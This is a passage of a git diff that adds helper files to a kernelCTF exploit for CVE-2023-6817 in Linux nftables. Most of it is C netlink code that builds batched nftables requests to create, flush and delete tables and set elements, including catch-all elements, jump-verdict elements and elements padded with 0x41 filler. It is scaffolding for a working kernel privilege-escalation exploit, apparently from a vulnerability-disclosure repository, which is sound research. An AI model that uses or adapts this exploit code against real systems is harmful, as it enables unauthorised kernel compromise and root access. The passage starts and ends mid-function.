h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_expr = nlmsg_alloc(); + struct nl_msg *elem_data = nlmsg_alloc(); + uint64_t key = input_key; + nla_put_string(elem_expr, NFTA_EXPR_NAME, "last"); + nla_put_nested(elem_nest, NFTA_SET_ELEM_EXPR, elem_expr); + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(obj_ref != NULL) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + //nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + if(elemdata > 0){ + nla_put(elem_data, NFTA_DATA_VALUE, elemdata_len, elemdata); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, elem_data); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + + +void get_setelem(struct nl_sock * socket, char *table_name, char *set_name, char *input_key, int key_len){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETSETELEM, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + nla_put_nested(elem, 1, elem_nest); + nla_put_string(msg, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + + } +} + + +void elem_flush(struct nl_sock * socket, char *table_name, char *set_name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Flush set\n"); + } +} + +struct nlmsghdr *new_setelem_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + uint64_t key = input_key; + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + if(obj_ref != NULL) + nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + //nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} + +struct nlmsghdr *elem_flush_msg(char *table_name, char *set_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + return hdr2; +} + +void new_setelem_with_elemdata(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_data = nlmsg_alloc(); + uint64_t key = input_key; + uint64_t pad0 = 0x4141414141414141; + uint32_t pad1 = 0x41414141; + //nla_put_string(elem_nest, NFTA_SET_ELEM_OBJREF, obj_ref); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + nla_put(elem_data, NFTA_DATA_VALUE, 0x10, &pad0); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, elem_data); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + +struct nlmsghdr *new_setelem_with_chain_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *chain, char * input_key, int key_len, char *key_end, int key_end_len){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + uint64_t key = input_key; + + nla_put_u32(data, NFTA_VERDICT_CODE, htonl(NFT_JUMP)); + nla_put_string(data, NFTA_VERDICT_CHAIN, chain); + nla_put_nested(data_nest, NFTA_DATA_VERDICT, data); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, data_nest); + nla_put(elem_key, NFTA_DATA_VALUE, key_len, input_key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_len, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + + //nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} + +void new_setelem_with_chain(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char * key, int key_size, char *key_end, int key_end_size, char *chain){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_data = nlmsg_alloc(); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + + nla_put_u32(data, NFTA_VERDICT_CODE, htonl(NFT_JUMP)); + nla_put_string(data, NFTA_VERDICT_CHAIN, chain); + nla_put_nested(data_nest, NFTA_DATA_VERDICT, data); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, data_nest); + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create setelem\n"); + } +} + +void del_setelem(struct nl_sock * socket, char *table, char *set, char *key, int key_size, char *key_end, int key_end_size){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_key_end = nlmsg_alloc(); + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end); + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len), hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len), hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + printf("Delete setelem\n"); + } +} + +struct nlmsghdr * del_setelem_msg(char *table, char *set, char *key, int key_size, char *key_end, int key_end_size){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + //init msg + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_key_end = nlmsg_alloc(); + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + nla_put(elem_key_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_key_end); + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/table.h b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/table.h new file mode 100644 index 00000000..b11ad623 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/exploit/cos-105-17412.226.28/table.h @@ -0,0 +1,138 @@ +void new_table(struct nl_sock * socket, char *name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create table\n"); + } +} + +void get_table(struct nl_sock * socket, char *name){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETTABLE, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + nla_put_string(msg, NFTA_TABLE_NAME, name); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Get table %s\n",name); + } +} + +void new_table_with_udata(struct nl_sock * socket, char *name,char *udata, int len){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + 